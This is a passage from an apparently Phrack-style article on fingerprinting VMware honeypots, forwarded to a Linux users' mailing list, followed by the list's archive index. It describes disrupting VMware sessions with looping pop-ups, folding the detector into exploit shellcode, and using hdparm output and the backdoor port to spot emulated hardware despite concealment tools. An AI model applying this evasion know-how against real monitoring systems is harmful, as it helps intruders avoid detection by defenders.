screen on the Host computers console. If the host is a GSX host the
pop-up will be defered until a vmware-console is attached. In either
case the VMWare session will freeze untill the pop-up screen is
acknowledged. After the pop-up is acknowledged, the code will loop and
bring up another one. The fun never stops.

If vmware_detect were to be included in the shellcode delivered during
the exploitation of a vulnerable service, the ELF headers would need to
be removed. A JMP into the normal shellcode (to spawn a shell or
whatever) should be placed into the signal handler above. It will also
be necessary to identify the current position in memory where the
shellcode would be executing using various tricks such as calling
forward a predictable number of bytes. This will be left as an exercise
up to the reader.




--[ 5. Encore du Vmware

Recently, Kostyra Kortchinsky, a member of the French honeynet, published
a tool intended to conceal the obvious ways to locally fingerprint VMware
system. The tool modifies the names of IDE and SCSI devices, the Video
adapter, and changes the IO number of the back door port previously
discussed.

This tool represents significant time and effort put forth by Kostyra
in his failed attempt to to address a burning issue for all Honeynet
projects -- that its painfully obvious to the most brain-dead hacker
that they are being monitored. As you will see this tool does nothing
other then obscure the fact that the host is a VMware system.

Once running with root or administrator privileges, it is trivial
to determine that the hardware is emulated by VMware. If Kostyra's
tool to obscure the presence of VMware hardware is used, and we
detect the presence of real VMware hardware, we can be certain
that the host is a honeypot -- and we know we can safely have fun
at their expense.

IDE Drives

The first methods of detecting VMware hardware even with Kostyra's
modifications is to look at the IDE CD-Rom or Hard drive on the
system. To do this, we can use hdparm with the -I argument:

[root-at-localhost]# hdparm -I /dev/hda

/dev/hda:

ATAPI CD-ROM, with removable media
Model Number: VMware Virtual IDE CDROM Drive
Serial Number: 00000000000000000001
Firmware Revision: 00000001
Standards:
Likely used CD-ROM ATAPI-1
Configuration:
DRQ response: 50us.
Packet size: 12 bytes
Capabilities:
LBA, IORDY(can be disabled)
Buffer size: 32.0kB
DMA: sdma0 sdma1 sdma2 mdma0 mdma1 mdma2 udma0 *udma1 udma2
Cycle time: min=120ns recommended=120ns
PIO: pio0 pio1 pio2 pio3 pio4
Cycle time: no flow control=120ns IORDY flow control=120ns
Commands/features:
Enabled Supported:
* NOP cmd
* DEVICE RESET cmd
* PACKET command feature set
* Power Management feature set


Now, go look at the output on a regular cdrom drive running on your
system. Lets go over the differences.

ATAPI CD-ROM, with removable media
Model Number: VMware Virtual IDE CDROM Drive
Serial Number: 00000000000000000001
Firmware Revision: 00000001

These are dead give-aways. They can also be modified. While it is
surprising that the French Honeynet project utterly failed to notice
this, it should be expected that this oversight will be corrected.

Standards:
Likely used CD-ROM ATAPI-1

This is more telling. Look at your cdrom. VMware does give sufficient
information in the device's identity. Since before I ever logged
on to the Internet, before the days of the Pentium Pro, drives were
using ATAPI-2. The reason hdparm lists the standards as "Likely
used CD-ROM ATAPI-1" is because VMware does not return any determining
information -- hdparm is left guessing. This is a limitation of the
program code, and more telling then the Serial number or Firmware revision.

Commands/features:
Enabled Supported:
* NOP cmd
* DEVICE RESET cmd
* PACKET command feature set
* Power Management feature set

This portion of hdparm's output is the most telling. Normally this would
not be present. CD-Roms conform to the ATAPI CDROM standards. Features
and commands are something that hard drives should report -- not
IDE CdRoms.

These are not the only differences between a VMware drive and a normal
drive, but we do not want to give away all our tricks just yet.

I expect that Honeynet members will try to address this by modifying
hdparm on the honeypot systems. If they are ultra-sharp they may even
try to patch the ioctl system call, which hdparm uses to query the
IDE devices. Even in such case, it is trivial to implement
a kernel module or device driver that gives a clean interface
to the lower-level functions used by the ioctl to query the drives
information.

Similar leaked information and deviations from 'real' hardware are present
for SCSI devices, but thats for another day.

VMware Backdoor Port Redux

As previously mentioned, Kostyra's program also modifies the vmware port
magic number. If the backdoor port code is run with the wrong magic number
then the call to "in" will generate a segfault, making the system
appear to be a non-vmware host.

However, this does not remove the presence of the port itself -- it only
hides it. If one were to discover the port, the program would continue
as expected. What Kostyra is counting on is that no one, not even Phrack
labs, would dare to build a program that would increment the magic number
until the correct one is found, resetting the SEGV handler each time.
But thats for another day.

--[ 6. Conclusion

Once again it has been demonstrated how honeynet technologies fail to
deliver on their promise of secertly tracking hackers in order to help the
honeypot deployer better know his enemy. Everything in this article is
possible only because the honeynet project makes it possible by relying
on open discourse to develop and publish their honeypot strategies and
tactics. When a hacker compromises a system they are on a tactically
equal footing with the honeypot software. The only superiority that the
honeypot software has is wholely in the strategy of honeypot deployment
-- in deceiving the attacker of the honeypot's presence.

Without this strategic advantage honeypot software is useless. Because
attackers know the strategies of honeypot software they are also able to
prepare counter- stratagies like this paper has presented.


|=[ EOF ]=---------------------------------------------------------------=|

--
So many immigrant groups have swept through our town
that Brooklyn, like Atlantis, reaches mythological
proportions in the mind of the world - RI Safir 1998
http://www.mrbrklyn.com

DRM is THEFT - We are the STAKEHOLDERS - RI Safir 2002
http://www.nylxs.com - Leadership Development in Free Software
http://www2.mrbrklyn.com/resources - Unpublished Archive
http://www.coinhangout.com - coins!
http://www.brooklyn-living.com

Being so tracked is for FARM ANIMALS and and extermination camps,
but incompatible with living as a free human being. -RI Safir 2013
_______________________________________________
hangout mailing list
hangout-at-nylxs.com
http://www.nylxs.com/

  1. 2017-02-01 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] =?utf-8?q?The_lessons_of_Roosevelt=E2=80=99s_fail?=
  2. 2017-02-01 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  3. 2017-02-01 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] In other news, making America safe again
  4. 2017-02-01 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] The lessons of Roosevelt???s failures
  5. 2017-02-01 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] In other news, making America safe again
  6. 2017-02-01 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  7. 2017-02-01 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  8. 2017-02-01 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  9. 2017-02-01 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  10. 2017-02-01 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  11. 2017-02-01 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Let's take a vote on non free speech software
  12. 2017-02-01 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] In other news, making America safe again
  13. 2017-02-01 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] (forw) Re: [skeptic] Let the beheadings
  14. 2017-02-01 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Encryption and the law
  15. 2017-02-02 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] NP Complete
  16. 2017-02-02 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Is NYLUG still running meetings?
  17. 2017-02-02 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] Is NYLUG still running meetings? | | None since
  18. 2017-02-02 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] Is NYLUG still running meetings? | | None since
  19. 2017-02-02 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] Is NYLUG still running meetings? | | Your
  20. 2017-02-02 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] Is NYLUG still running meetings? | | Your
  21. 2017-02-02 Ruben Safir <mrbrklyn-at-panix.com> Subject: [Hangout-NYLXS] anyone know what is this
  22. 2017-02-02 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] anyone know what is this
  23. 2017-02-02 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] looks like we just got a new lease on life
  24. 2017-02-02 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Fwd: [isoc-ny] FCC Seeks Diverse Stakeholders
  25. 2017-02-02 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] A Brooklyn Story
  26. 2017-02-02 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] anyone know what is this
  27. 2017-02-02 From: "IEEE Spectrum Tech Alert" <techalert-at-ieee.org> Subject: [Hangout-NYLXS] Everything You Need to Know About 5G;
  28. 2017-02-02 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] anyone know what is this
  29. 2017-02-02 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] anyone know what is this
  30. 2017-02-02 IEEE Engineering in Medicine and Biology Society <noreply-at-embs.org> Subject: [Hangout-NYLXS] Your EMB Weekly Newsletter is HERE!!!!
  31. 2017-02-03 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] anyone know what is this
  32. 2017-02-03 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] irs and passports - 50K is nothing
  33. 2017-02-03 Ruben Safir <mrbrklyn-at-panix.com> Subject: [Hangout-NYLXS] sad times for us all
  34. 2017-02-04 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] save the grave
  35. 2017-02-06 Gabor Szabo <gabor-at-szabgab.com> Subject: [Hangout-NYLXS] [Perlweekly] #289 - FOSDEM is over, blog posts?
  36. 2017-02-06 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Subject: [Hangout-NYLXS] , can you provide the addresses of those locations
  37. 2017-02-06 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] , can you provide the addresses of those
  38. 2017-02-06 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] what is important in the digital divide
  39. 2017-02-06 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] paper ramulens work for us all
  40. 2017-02-06 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] what is important in the digital divide
  41. 2017-02-07 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] ,
  42. 2017-02-06 Ruben Safir <ruben.safir-at-my.liu.edu> Re: [Hangout-NYLXS] , can you provide the addresses of those
  43. 2017-02-07 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] , locations for group meetings;
  44. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Justine Bateman
  45. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] criminal stream of video
  46. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Phone Wars
  47. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Apple wants direct access to your GPU through the
  48. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Microsofts new stratergy to beat linux
  49. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] moving to Arizona
  50. 2017-02-08 Ruben Safir <mrbrklyn-at-panix.com> Subject: [Hangout-NYLXS] Hans Rosling: Data visionary and educator dies aged
  51. 2017-02-07 IEEE Computer Society <csconnection-at-computer.org> Subject: [Hangout-NYLXS] =?utf-8?q?Hear_from_Top_Execs_from_Raytheon=2C_Mi?=
  52. 2017-02-07 James E Keenan <jkeen-at-verizon.net> Subject: [Hangout-NYLXS] ny.pm tech meeting next Monday;
  53. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Future Communications
  54. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] =?utf-8?q?Fwd=3A_Hear_from_Top_Execs_from_Raytheo?=
  55. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] ,
  56. 2017-02-08 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Phone Wars
  57. 2017-02-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] How to become a president of a small African
  58. 2017-02-09 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] ,
  59. 2017-02-09 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | I
  60. 2017-02-09 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] ,
  61. 2017-02-06 Wayne Callahan <callahans2-at-msn.com> Subject: [Hangout-NYLXS] [dinosaur] ISPH 2017
  62. 2017-02-09 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] ,
  63. 2017-02-09 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] ,
  64. 2017-02-09 Ruben Safir <ruben.safir-at-my.liu.edu> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | I
  65. 2017-02-09 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] Microsoft's new strategy to beat linux | |
  66. 2017-02-09 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Gtk and C++ reference
  67. 2017-02-09 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] =?utf-8?q?Fwd=3A_An_Evening_for_Educators_with_Dr?=
  68. 2017-02-09 ruben <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] History of the Talmud
  69. 2017-02-09 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] anyone know what is this
  70. 2017-02-09 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] anyone know what is this
  71. 2017-02-09 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Fwd: Innovation, opportunities & Israel's future
  72. 2017-02-10 ruben <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] anyone know what is this
  73. 2017-02-10 ruben <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] anyone know what is this
  74. 2017-02-10 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] anyone know what is this
  75. 2017-02-09 Paul Robert Marino <prmarino1-at-gmail.com> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | I
  76. 2017-02-10 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | ...
  77. 2017-02-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Fwd: [Accu-contacts] Software engineer position
  78. 2017-02-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Compiler Papers
  79. 2017-02-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Guess this painting!!
  80. 2017-02-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Shabbat Shalom!
  81. 2017-02-10 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Guess this painting!!
  82. 2017-02-10 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | ...
  83. 2017-02-10 Paul Robert Marino <prmarino1-at-gmail.com> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | ...
  84. 2017-02-10 Ruben Safir <ruben.safir-at-my.liu.edu> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | I
  85. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Tech News - Honeypots
  86. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] more on honeypots
  87. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Internet of things DDOS threat
  88. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Hackers and Honepots
  89. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Mozilla and DRM
  90. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] WebRTC coding in html5
  91. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] WebRTC coding in html5
  92. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] vim and the free software world
  93. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Robotics
  94. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Researchers use artificial neural network to
  95. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] power grids in peril
  96. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] New Neuronet theory
  97. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Linguistics
  98. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Guess this painting!!
  99. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] lions and tigers and snow leopards
  100. 2017-02-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Movie of the Week
  101. 2017-02-10 Paul Robert Marino <prmarino1-at-gmail.com> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | I
  102. 2017-02-12 ruben <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] anyone know what is this
  103. 2017-02-12 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] anyone know what is this
  104. 2017-02-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] fellowship positition
  105. 2017-02-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] aptget
  106. 2017-02-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Trump Economics and Lou Costello teaches about a
  107. 2017-02-12 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Guess this painting!!
  108. 2017-02-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Name the artist and the work..
  109. 2017-02-13 Gabor Szabo <gabor-at-szabgab.com> Subject: [Hangout-NYLXS] [Perlweekly] #290 - Interview at FOSDEM
  110. 2017-02-01 Dirk Jagdmann <doj-at-cubic.org> Re: [Hangout-NYLXS] Passing encrypted base64 encoded value via href
  111. 2017-02-13 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Guess this painting!!
  112. 2017-02-13 ruben <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Guess this painting!!
  113. 2017-02-13 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] Guess this painting!!
  114. 2017-02-13 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] Guess this painting!!
  115. 2017-02-13 ISOC-NY announcements <announce-at-lists.isoc-ny.org> Re: [Hangout-NYLXS]
  116. 2017-02-13 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Patent Trolls Delux
  117. 2017-02-13 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Microsofts new stratergy to beat linux | | I
  118. 2017-02-13 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Fwd: [isoc-ny] Fwd: EVENT TONIGHT: The Internet of
  119. 2017-02-13 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] Fwd: [isoc-ny] Fwd: EVENT TONIGHT: The Internet
  120. 2017-02-13 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] Fwd: [isoc-ny] Fwd: EVENT TONIGHT: The Internet
  121. 2017-02-13 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Guess this painting!!
  122. 2017-02-13 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Geological floods
  123. 2017-02-13 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Amature Radio
  124. 2017-02-13 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Amature Radio
  125. 2017-02-13 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Artificial Intelligence Gets Aggressive Without
  126. 2017-02-14 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Geological floods
  127. 2017-02-14 From: "American Museum of Natural History" <mat-at-amnh.org> Subject: [Hangout-NYLXS] Tomorrow Is The Last Day for MAT Applications
  128. 2017-02-14 From: "IEEE The Institute"<tialert-at-ieee.org> Subject: [Hangout-NYLXS] The Institute Online: Can Amazon's Echo Device Help
  129. 2017-02-14 Charlotte Danes <charlotted-at-schoolingadvisor.com> Subject: [Hangout-NYLXS] NYLXS - The Free Software Institute
  130. 2017-02-15 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Just a reminder
  131. 2017-02-15 IEEE Engineering in Medicine and Biology Society <noreply-at-embs.org> Subject: [Hangout-NYLXS] EMBC Paper Submission DEADLINE is
  132. 2017-02-15 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] aptget
  133. 2017-02-15 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] aptget
  134. 2017-02-16 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] aptget
  135. 2017-02-16 ruben <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] chew on this
  136. 2017-02-16 ruben <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Next Picute
  137. 2017-02-16 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Next Picture
  138. 2017-02-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] aptget
  139. 2017-02-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] aptget
  140. 2017-02-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] Next Picture
  141. 2017-02-16 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Fwd: Sherry
  142. 2017-02-16 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Name the Artist and the Work
  143. 2017-02-16 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] aptget: | | it was not wasted !
  144. 2017-02-16 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] aptget: | | RS: I thought you were an OpenSuse
  145. 2017-02-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [Hangout-NYLXS] aptget: | | RS: I thought you were an OpenSuse
  146. 2017-02-16 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] aptget: | | RS: . Audience was about 70% male (
  147. 2017-02-16 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] Next Picture
  148. 2017-02-16 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Next Picture
  149. 2017-02-16 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] Next Picture
  150. 2017-02-16 ISOC-NY announcements <announce-at-lists.isoc-ny.org> Subject: [Hangout-NYLXS] [isoc-ny] WEBCAST TONIGHT: The Future of Digital
  151. 2017-02-17 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Living with NASA
  152. 2017-02-17 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] The MTA is so fucked up
  153. 2017-02-17 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] The MTA is so f****d up | | Join the MTA and
  154. 2017-02-17 ruben <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Fwd: [isoc-ny] WEBCAST TONIGHT: The Future of
  155. 2017-02-17 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] aptget: | | it was not wasted !
  156. 2017-02-19 Rick Moen <rick-at-linuxmafia.com> Subject: [Hangout-NYLXS] (forw) QA & Tech Support Engineer (NYC)
  157. 2017-02-20 Rick Moen <rick-at-linuxmafia.com> Subject: [Hangout-NYLXS] Duplicity (2009 film)
  158. 2017-02-20 Gabor Szabo <gabor-at-szabgab.com> Subject: [Hangout-NYLXS] [Perlweekly] #291 - FOSDEM videos
  159. 2017-02-20 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] movie of the week
  160. 2017-02-21 ruben <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] technologywith fossils
  161. 2017-02-22 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] exo-planets
  162. 2017-02-22 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] in other news
  163. 2017-02-22 Nicholas Rodin <nikbbwil-at-icloud.com> Re: [Hangout-NYLXS] in other news
  164. 2017-02-22 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] in other news
  165. 2017-02-22 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] in other news
  166. 2017-02-22 James E Keenan <jkeen-at-verizon.net> Subject: [Hangout-NYLXS] February social meeting
  167. 2017-02-23 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] | | | Nick: You cannot be removed without
  168. 2017-02-23 Nicholas Rodin <nikbbwil-at-icloud.com> Re: [Hangout-NYLXS] | | | Nick: You cannot be removed without
  169. 2017-02-23 From: "Mancini, Sabin (DFS)" <Sabin.Mancini-at-dfs.ny.gov> Re: [Hangout-NYLXS] | | | Nick: I get way TOO many emails TO both
  170. 2017-02-23 Nicholas Rodin <nikbbwil-at-icloud.com> Re: [Hangout-NYLXS] | | | Nick: I get way TOO many emails TO both
  171. 2017-02-23 Ruben Safir <mrbrklyn-at-panix.com> Re: [Hangout-NYLXS] | | | Nick: I get way TOO many emails TO both
  172. 2017-02-23 Rick Moen <rick-at-linuxmafia.com> Re: [Hangout-NYLXS] | | | Nick: I get way TOO many emails TO both
  173. 2017-02-24 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] decision making tree for a euler walk
  174. 2017-02-24 IEEE Engineering in Medicine and Biology Society <noreply-at-embs.org> Subject: [Hangout-NYLXS] Your EMB Weekly Newsletter is HERE!!!!
  175. 2017-02-28 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [Hangout-NYLXS] Peer Review
  176. 2017-02-27 James E Keenan <jkeen-at-verizon.net> Re: [Hangout-NYLXS] February social meeting + upcoming
  177. 2017-02-28 From: "IEEE The Institute"<tialert-at-ieee.org> Subject: [Hangout-NYLXS] The Institute Online: Straight Out of Sci-Fi,
  178. 2017-02-28 Don Brinkman <Don.Brinkman-at-gov.ab.ca> Re: [Hangout-NYLXS] visit

NYLXS are Do'ers and the first step of Doing is Joining! Join NYLXS and make a difference in your community today!